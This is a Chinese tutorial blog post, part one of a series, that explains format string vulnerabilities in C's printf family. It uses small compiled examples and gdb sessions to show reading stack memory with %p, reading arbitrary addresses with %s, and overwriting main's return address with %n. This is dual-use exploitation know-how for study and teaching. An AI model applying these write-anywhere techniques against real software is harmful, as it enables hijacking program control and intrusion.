`
lovnet
  • 浏览: 6705135 次
  • 性别: Icon_minigender_1
  • 来自: 武汉
文章分类
社区版块
存档分类
最新评论

Format String 漏洞介绍 总结(一)

阅读更多

Format String 漏洞介绍 总结(一)
bkbll(bkbll@cnhonker.net)
2003/4/8
其实这篇文章没什么技术含量,format string(格式化字符串)漏洞很久很久就被研究透了,scut的一篇pd文档属于非常详细的介绍/入门级文章,但是全英文以及里面例子有些解释不彻底, 以及有些例子已经不能使用了,所以这里想大致总结一下,并给出实验好的环境和代码.(实验平台:rh8.0,gcc自带版本)
Format string 漏洞一般是由以下几个函数引起的:
o fprintf - 输出到文件句柄
o printf - 输出到终端
o sprintf - 输出到一个字符串
o snprintf -输出指定长度到字符串
o vfprintf - print to a FILE stream from a va_arg structure
o vprintf - prints to 'stdout' from a va_arg structure
o vsprintf - prints to a string from a va_arg structure
o vsnprintf - prints to a string with length checking from a va_arg structure
Relatives:
o setproctitle - set argv[]
o syslog - output to the syslog facility
o 其他比如 err*, verr*, warn*, vwarn*

在使用这些函数的时候,如果指定了format格式的话,是不存在任何问题的,但是如果程序员偷懒,没指定format而直接输出字符串内容的话,就导致格式化字符串漏洞的发生,比如:
char *buffer;
……………….
printf("%s\n",buffer);
这段程序是不会产生字符串格式化的漏洞的,但是下面这个程序:
char *buffer;
…………..
printf(buffer);
如果buffer可以由用户控制的话,就会导致格式化字符串漏洞的发生。
类似还有:
syslog (LOG_NOTICE, buf);
fprintf(FILE *stream,buffer);
sprintf(char *string,buffer);
snprintf(char *string,strlen(string),buffer)
vfprintf(File *stream,buffer);
等。
1. 漏洞的产生/介绍
我们选用应用最普遍的printf函数来解答format string 漏洞的原理:
我们知道,一个标准正常的printf函数的格式化字符和参数应该是一一对应的,比如:
printf("%s%d%x\n",(char *)string,(int)intnum,(int)hexnum);
有几个%s等,后面就应该有几个参数,这样才可以一一显示该参数的内容,但是,如果有了格式化字符,如果没有跟参数,printf函数会怎么处理的呢?
[bkbll@mobile format]$ cat 6.c
main() { printf("%p %p %p %p %p %p\n"); }
%p表示按指针格式显示结果,我们编译运行下看看:
[bkbll@mobile format]$ gcc -o 6 6.c
[bkbll@mobile format]$ ./6
0x4212a2d0 0xbffffaf8 0x8048246 0x4200aec8 0x4212a2d0 0xbffffb18
显示的是一大堆的内存数据, 我们看看这些数据到底放在哪里的:
[bkbll@mobile format]$ gdb -q 6
(gdb) b main
Breakpoint 1 at 0x804832e
(gdb) r
Starting program: /home/bkbll/format/6

Breakpoint 1, 0x0804832e in main ()
(gdb) x/i printf
0x42052390 <printf>: push %ebp
(gdb) b *0x42052390
Breakpoint 2 at 0x42052390
(gdb) c
Continuing.

Breakpoint 2, 0x42052390 in printf () from /lib/i686/libc.so.6
(gdb) x/8wx $esp
0xbffffacc: 0x08048345 0x08048394 0x4212a2d0 0xbffffae8
0xbffffadc: 0x08048246 0x4200aec8 0x4212a2d0 0xbffffb08
(gdb)
从这里我们看到, printf的入口在0x42052390, 我们分析一下堆栈数据的结构:
当系统调用某个函数的时候,首先会将函数参数压入堆栈, 最后把函数的返回地址压入堆栈, 上面的0x08048345是函数printf的返回地址, 也就是在main函数里面调用printf函数后下一条要执行的指令.0x08048394存放的是我们给printf的参数:
(gdb) x/s 0x08048394
0x8048394 <_IO_stdin_used+4>: "%p %p %p %p %p %p\n"
由于我们给printf了很多的格式化字符%p,但是又没给上相应的参数, 系统认为紧跟格式化字符串后面的数据即为printf的参数,所以就按照%p的格式打印在了终端上.
如果我给出了足够多的%p, 是否可以一直打印数据到0xbfffffff呢? 答案是肯定的, 这个不段用%p显示内存数据就是在scut的pdf上讲到的stack popup的涵义.
好,我们现在可以显示调用printf函数堆栈以上的内容了, 但是我们可以显示任意内存地址的内容吗? 我们看以下事例:
[bkbll@mobile format]$ cat 7.c
main()
{
char buffer[100]="";
strcpy(buffer,"AAAA%p %p %p %p %p %p\n");
printf(buffer);

}
[bkbll@mobile format]$ gcc -o 7 7.c
[bkbll@mobile format]$ ./7
AAAA0x8048458 0x4200dbb3 0x420069e8 0x41414141 0x25207025 0x70252070
0x41414141就是我们写的AAAA的16进制码, 如果我把显示0x41414141的%p换成%s, 不是就可以显示0x41414141地址的内容呢?
[bkbll@mobile format]$ cat 8.c
main()
{
char buffer[100]="";
strcpy(buffer,"AAAA%p %p %p %s %p %p\n");
printf(buffer);

}
[bkbll@mobile format]$ gcc -o 8 8.c ;./8
Segmentation fault
段错误, 我们跟踪一下:
[bkbll@mobile format]$ gdb -q 8
(gdb) r
Starting program: /home/bkbll/format/8

Program received signal SIGSEGV, Segmentation fault.
0x4207a4cb in strlen () from /lib/i686/libc.so.6
(gdb) disass $eip $eip+4
Dump of assembler code from 0x4207a4cb to 0x4207a4cf:
0x4207a4cb <strlen+11>: cmp %ch,(%eax)
0x4207a4cd <strlen+13>: je 0x4207a56a <strlen+170>
End of assembler dump.
(gdb) i reg ecx eax
ecx 0x1 1
eax 0x41414141 1094795585
(gdb) x/bx $eax
0x41414141: Cannot access memory at address 0x41414141
Oh,因为我们没有权限访问0x41414141这个地址,所以系统提示段错误.
那我们换一个我们可以访问的地址吧:
[bkbll@mobile format]$ cat 9.c
main()
{
char buf1[]="hello,world";
char buffer[100]="";
strcpy(buffer,"AAAA%p %p %p %s %p %p\n");
buffer[0]=(int)buf1 & 0xff;
buffer[1]=((int)buf1 >> 8) & 0xff;
buffer[2]=((int)buf1 >> 16) & 0xff;
buffer[3]=((int)buf1 >> 24) & 0xff;
printf(buffer);

}
[bkbll@mobile format]$ gcc -o 9 9.c ; ./9
帔?x80484cc (nil) (nil) hello,world 0x25207025 0x70252070
我们输出了hello,world字符串, 而这个字符串的地址是我们替换了AAAA的数据得到的.
从上面的例子我们可以看出通过精心构造buffer, 我们可以显示任何地方的数据, 也就是所谓的:read anywhere.
能读数据虽然可以得到很多东西,但结构并不是我们想要的, 我们要可写才可以控制这个程序的流程, 才能运行我们的shellcode.
printf系列函数提供了%n的格式, 用来把显示的数据长度写进一个int型的变量里面, 比如:
[bkbll@mobile format]$ cat 10.c
main()
{
int i=0;
printf("before printf,i:%d\n",i);
printf("hello,word\n%n",&i);
printf("after printf,i:%d\n",i);
}
[bkbll@mobile format]$ gcc -o 10 10.c;./10
before printf,i:0
hello,word
after printf,i:11
我们把printf的输出长度写到了变量i里面,所以i值变成了11,既然可以写, 那我再试试可不可以写到其他地方,我们试一下写到main的返回地址里面:
[bkbll@mobile format]$ gdb -q 10
(gdb) x/i main
0x8048328 <main>: push %ebp
(gdb) b *0x8048328
Breakpoint 1 at 0x8048328
(gdb) r
Starting program: /home/bkbll/format/10

Breakpoint 1, 0x08048328 in main ()
(gdb) x/wx $esp
0xbffffaec: 0x420158d4
我们得到了main的返回地址在0xbffffaec处.
Ok, 我们修改一下程序:
[bkbll@mobile format]$ cat 11.c
main()
{
int i=0xbffffaec;
printf("hello,word\n%n",i);
}
[bkbll@mobile format]$ gcc -o 11 11.c
[bkbll@mobile format]$ gdb -q 11
(gdb) r
Starting program: /home/bkbll/format/11
hello,word

Program received signal SIGSEGV, Segmentation fault.
0x0000000b in ?? ()
(gdb) i reg eip
eip 0xb 0xb
(gdb)
ok,我们已经成功的把数据写到了main返回地址那里, 0x000000b显然是一个不可以执行的地址, 所以会报错.
联想一下,结合前面的read anywhere和这里的写, 我们是否可以动态写数据到任何地址呢?
[bkbll@mobile format]$ cat 12.c
main()
{
int buf1=0xbffffaec;
char buffer[100]="";
strcpy(buffer,"AAAA%p %p %p %n %p %p\n");
buffer[0]=(int)buf1 & 0xff;
buffer[1]=((int)buf1 >> 8) & 0xff;
buffer[2]=((int)buf1 >> 16) & 0xff;
buffer[3]=((int)buf1 >> 24) & 0xff;
printf(buffer);

}
[bkbll@mobile format]$ gcc -o 12 12.c
[bkbll@mobile format]$ gdb -q 12
(gdb) r
Starting program: /home/bkbll/format/12
禚?x80484b0 (nil) (nil) 0x25207025 0x70252070

Program received signal SIGSEGV, Segmentation fault.
0x0000001a in ?? ()
(gdb) x/wx 0xbffffaec
0xbffffaec: 0x0000001a
(gdb) i reg eip
eip 0x1a 0x1a
我们成功的覆盖了main的返回地址。
利用printf的格式化字符串漏洞,我们可以write-anywhere, read anywhere。有了这两个条件后,想执行我们的shellcode还不是简单的事情吗?

分享到:
评论

相关推荐

    Format String漏洞介绍

    Format String漏洞介绍 非常详细

    Format String Exploitation Tutorial-Saif EI-Sherei

    详细解释了字符串格式化漏洞的形成和利用方法

    格式化字符串漏洞的介绍

    自己学习的时候做的一个ppt,是花了一些心血的,希望对别人能够有所帮助。主要是格式化字符串漏洞的一些介绍,还是挺详细的。

    vulnerability_detect:在基于补丁的漏洞发现中,用于确定差异函数是否是漏洞函数

    程序输入受外界不安全控制(如存在文件读取、网络接收等,则可能/Users/pengjiaqi/Documents/iie/binary_analyses/差异函数漏洞检测/README_html.rtf引入异常)format string 格式化字符串对于每类异常,均有各自的...

    fs:格式字符串漏洞利用生成

    fs 使用此脚本可以轻松生成fromat字符串漏洞。 from fs import * print ([ one_by_one ( 0xffffc14c , 0xffffc6d0 , 11 )]) # ['L\xc1\xff\xffM\xc1\xff\xffN\xc1\xff... Format string is: bash: $( printf " \x4c\

    CheckMem.pas

     这是一篇介绍如何使用CheckMem.pas单元检查delphi应用程序内存泄漏的文章 作者:999roseto347(fdaf at 163 dot com) 版本:V1.0 创建日期:2004-06-11 目录: 一、使用步骤 二、报告解读 三、测试...

    pwnscripts:非常简单的脚本可以加快二进制漏洞利用程序的创建

    非常简单的脚本,可以加快二进制漏洞利用程序的创建。 要使用,请pip install pwnscripts或运行 git clone https://github.com/152334H/pwnscripts cd pwnscripts pip install -e . 并将from pwn import *替换from...

    基于数据库的VB课程设计

    在课程设计的过程中,我对课本上的知识进行了复习,从中找出了不少盲点,由衷地感觉到学习过程中应该把学的知识作扎实,多动手多思考,这样才能最大限度的减少知识的漏洞。 把课本上的东西变成实际的东西,让其有...

    PHPCMS V9.6.6 修改版

    12. 修复已知安全漏洞 13. 增加安装时自定义后台管理登录地址 14. 去掉PHPSSO模块、去掉Video及视频库相关、去掉Upgrade在线升级 15. 去除了已被废弃的视频模块和视频模型 16. 修复安装时DNS解析错误提示 17. 手机...

    PHPCMS V9.6.6 修改版#资源达人分享计划#

    12. 修复已知安全漏洞 13. 增加安装时自定义后台管理登录地址 14. 去掉PHPSSO模块、去掉Video及视频库相关、去掉Upgrade在线升级 15. 去除了已被废弃的视频模块和视频模型 16. 修复安装时DNS解析错误提示 17. 手机...

Global site tag (gtag.js) - Google Analytics